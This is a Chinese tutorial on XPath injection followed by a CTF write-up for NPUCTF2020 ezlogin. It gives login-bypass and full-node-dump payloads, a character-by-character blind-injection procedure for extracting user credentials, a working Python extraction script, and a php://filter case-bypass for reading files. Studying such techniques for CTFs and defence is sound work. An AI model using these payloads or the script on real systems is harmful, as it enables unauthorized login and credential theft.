基础
基本语法
-
“nodename” – 选取nodename的所有子节点
-
“/nodename” – 从根节点中选择
-
“//nodename” – 从当前节点选择
-
“…” – 选择当前节点的父节点
-
“child::node()” – 选择当前节点的所有子节点
-
“@” -选择属性
-
"//user[position()=2] " 选择节点位置
实例(w3school里面的),在下面的表格中,我们已列出了一些路径表达式以及表达式的结果:
路径表达式 结果 bookstore 选取 bookstore 元素的所有子节点。 /bookstore 选取根元素 bookstore。注释:假如路径起始于正斜杠( / ),则此路径始终代表到某元素的绝对路径! bookstore/book 选取属于 bookstore 的子元素的所有 book 元素。 //book 选取所有 book 子元素,而不管它们在文档中的位置。 bookstore//book 选择属于 bookstore 元素的后代的所有 book 元素,而不管它们位于 bookstore 之下的什么位置。 //@lang 选取名为 lang 的所有属性。
需要理解的
/bookstore/user[1] 表示bookstore元素下的第一个user子节点
/bookstore/*[1] *表示任意,这里表示bookstore元素下的第一个子节点
/bookstore/user[1]/username/text() test()得到节点中的所有文本,这里表示得到username的值
| 运算符 计算两个节点集 例如://book | //cd 返回所有拥有 book 和 cd 元素的节点集
基本函数
count((item,item,...)) 返回节点的数量。(即当前节点的子节点数)
'or count(/)=1 or ''=' ##根节点数量为1。判断根节点的数量是否为1
'or count(/*)=1 or ''=' ##根节点下只有一个子节点。*表示任意,这里/*表示所以的根节点,count(*/)表示所有的根节点的子节点数
string-length(string(参数可选)) 返回指定字符串的长度。如果没有 string 参数,则返回当前节点的字符串值的长度。
substring(string,start,len(参数可选)) 返回从 start 位置开始的指定长度的子字符串。第一个字符的下标是 1。如果省略 len 参数,则返回从位置 start 到字符串末尾的子字符串。
使用
常规注入
' or 1=1 or ''='
代入语句后:
$query="user/username[@name='user1' or 1=1 or ''='']";
##1=1为真 ''='' 为真,使用or连接,则可以匹配当前节点下的所有user
解释:@ 选择属性 这里username选择了name这个属性,
<username name='user1'>user1</username>
<username name='user2'>user2</username>
<username name='user3'>user3</username>
<username name='user4'>user4</username>
正常的我们传入uer1就只会得到一条信息,这里'user1' or 1=1 or ''=''表示恒为正,所以匹配了所有的值,得到了4条信息
使用’ or 1=1 or ‘’=’ 只能获取当前节点下的数据,flag不在当前节点中。而这里既然为ctf题目,肯定是需要获取flag的,这里xpath有一个类似于sqli的’or ‘1’='1的paylaod
']|//*|//*['
该paylaod用于访问xml文档的所有节点
解释:
这里使用了|运算符
代入之后
$query="user/username[@name=']|//*|//*['']";
其中的//*,表示所有节点,所以就得到了所有节点的值
登入绕过
一般数据库中默认第一个用户为管理用户。所以这里类似SQLi 的万能密码,使用如下paylaod实现在管理账户未知的情况下管理员登录:
x' or 1=1 or ''='
Xpath
盲注
很详细,我直接引用了
xpath
盲注适用于攻击者不清楚XML文档的架构,没有错误信息返回,一次只能通过布尔化查询来获取部分信息
Xpath
盲注步骤:
- 判断根节点下的节点数
- 判断根节点下节点长度&名称
- …
- 重复猜解完所有节点,获取最后的值
从根节点开始判断:
'or count(/)=1 or ''=' ###根节点数量为1
'or count(/*)=1 or ''=' ##根节点下只有一个子节点
判断根节点下的节点长度为8:
'or string-length(name(/*[1]))=8 or ''='
猜解根节点下的节点名称:
'or substring(name(/*[1]), 1, 1)='a' or ''='
'or substring(name(/*[1]), 2, 1)='c' or ''='
..
'or substring(name(/*[1]), 8, 1)='s' or ''='
猜解出该节点名称为accounts
'or count(/accounts)=1 or ''=' /accounts节点数量为1
'or count(/accounts/user/*)>0 or ''=' /accounts下有两个节点
'or string-length(name(/accounts/*[1]))=4 or ''=' 第一个子节点长度为4
猜解accounts下的节点名称:
'or substring(name(/accounts/*[1]), 1, 1)='u' or ''='
...
'or substring(name(/accounts/*[1]), 4, 1)='r' or ''='
accounts下子节点名称为user
'or count(/accounts/user)=2 or ''=' user节点有两个,则可以猜测出accounts节点结构,accounts下两个节点,均为user节点
第一个user节点的子节点长度为8:
‘or string-length(name(/accounts/user[position()=1]/*[1]))=8 or ‘’=’
读取user节点的下子节点
'or substring(name(/accounts/user[position()=1]/*[1]), 1, 1)='u' or ''='
'or substring(name(/accounts/user[position()=1]/*[1]), 2, 1)='s' or ''='
...
'or substring(name(/accounts/user[position()=1]/*[1]), 8, 1)='e' or ''='
最终所有子节点值验证如下:
'or substring(name(/accounts/user[position()=1]/*[1]), 1)='username' or ''='
'or substring(name(/accounts/user[position()=1]/*[2]), 1)='email' or ''='
'or substring(name(/accounts/user[position()=1]/*[3]), 1)='accounttype' or ''='
'or substring(name(/accounts/user[position()=1]/*[4]), 1)='password' or ''='
继续猜解:
'or count(/accounts/user[position()=1]/username/*)>0 or ''='
'or count(/accounts/user[position()=1]/email/*)>0 or ''='
'or count(/accounts/user[position()=1]/accounttype/*)>0 or ''='
'or count(/accounts/user[position()=1]/username/password/*)>0 or ''='
均为 false,不再有子节点,则可以尝试读取这些节点的值
第一个user下的username值长度为6:
'or string-length((//user[position()=1]/username[position()=1]))=6 or ''='
读取第一个user下usernaem的值
'or substring((//user[position()=1]/username[position()=1]),1,1)='T' or ''='
....
'or substring((//user[position()=1]/username[position()=1]),6,1)='e' or ''='
可依次读取所有的子节点的值,第二user节点的子节点值读取方式:
'or string-length((//user[position()=2]/username[position()=1]))=4 or ''=' 第一个user下的username长度为4
......
重复上边步骤即可
题解
[NPUCTF2020]ezlogin
思路
抓包发现xml格式,尝试xxe漏洞,发现回显:格式错误!
这时我们不清楚xml节点的格式,尝试Xpath盲注
payload
import requests
import re
import time
session = requests.session()
url = "http://09d8403c-509c-406f-b71c-471c0efa0e44.node4.buuoj.cn:81/"
chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
head = {
#'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.57 Safari/537.36',
'Content-Type': 'application/xml',
#"Cookie":"UM_distinctid=1785326510411f-0b3fb285b5c49c-4c3f227c-144000-178532651052c9; session=b953d436-f0da-4e58-be79-22676707c609.K5TbTAnwLyhIU66duiTX1Usn1D8; PHPSESSID=c68f802d273babd91c8978aeef4a7605"
}
find = re.compile(r'<input type="hidden" id="token" value="(.*?)" />',re.S)
result = ""
#猜测根节点名称
payload_1 = "<username>'or substring(name(/*[1]), {}, 1)='{}' or ''='</username><password>1</password><token>{}</token>"
#猜测子节点名称
payload_2 = "<username>'or substring(name(/root/*[1]), {}, 1)='{}' or ''='</username><password>1</password><token>{}</token>"
#猜测accounts的节点
payload_3 ="<username>'or substring(name(/root/accounts/*[1]), {}, 1)='{}' or ''='</username><password>1</password><token>{}</token>"
#猜测user节点
payload_4 ="<username>'or substring(name(/root/accounts/user/*[2]), {}, 1)='{}' or ''='</username><password>1</password><token>{}</token>"
#跑用户名和密码
payload_username ="<username>'or substring(/root/accounts/user[2]/username/text(), {}, 1)='{}' or ''='</username><password>1</password><token>{}</token>"
payload_password ="<username>'or substring(/root/accounts/user[2]/password/text(), {}, 1)='{}' or ''='</username><password>1</password><token>{}</token>"
def get_token(): #获取token的函数
resp = session.get(url=url) #如果在这里用headers会得到超时的界面
token = find.findall(resp.text)[0]
#print(token)
return token
for x in range(1,100):
for char in chars:
time.sleep(0.3)
token = get_token()
playload = payload_password.format(x, char, token) #根据上面的playload来改
#print(playload)
resp = session.post(url=url,headers=head, data=playload)
#print(resp.text)
if "非法操作" in resp.text:
result += char
print(result)
break
if "用户名或密码错误" in resp.text:
break
print(result)
对密码进行MD5解密得到
username=adm1n,password=cf7414b5bdb2e65ee43083f4ddbc4d9f,这个解码后就是gtfly123
登录进去,发现?file=
查看源码发现:ZmxhZyBpcyBpbiAvZmxhZwo= ,base64解码后告诉我们:/flag
尝试伪协议,php://filter, 发现被过滤了东西,测试后发现要用大小写绕过和去掉read
?file=PHP://filter/convert.Base64-encode/resource=/flag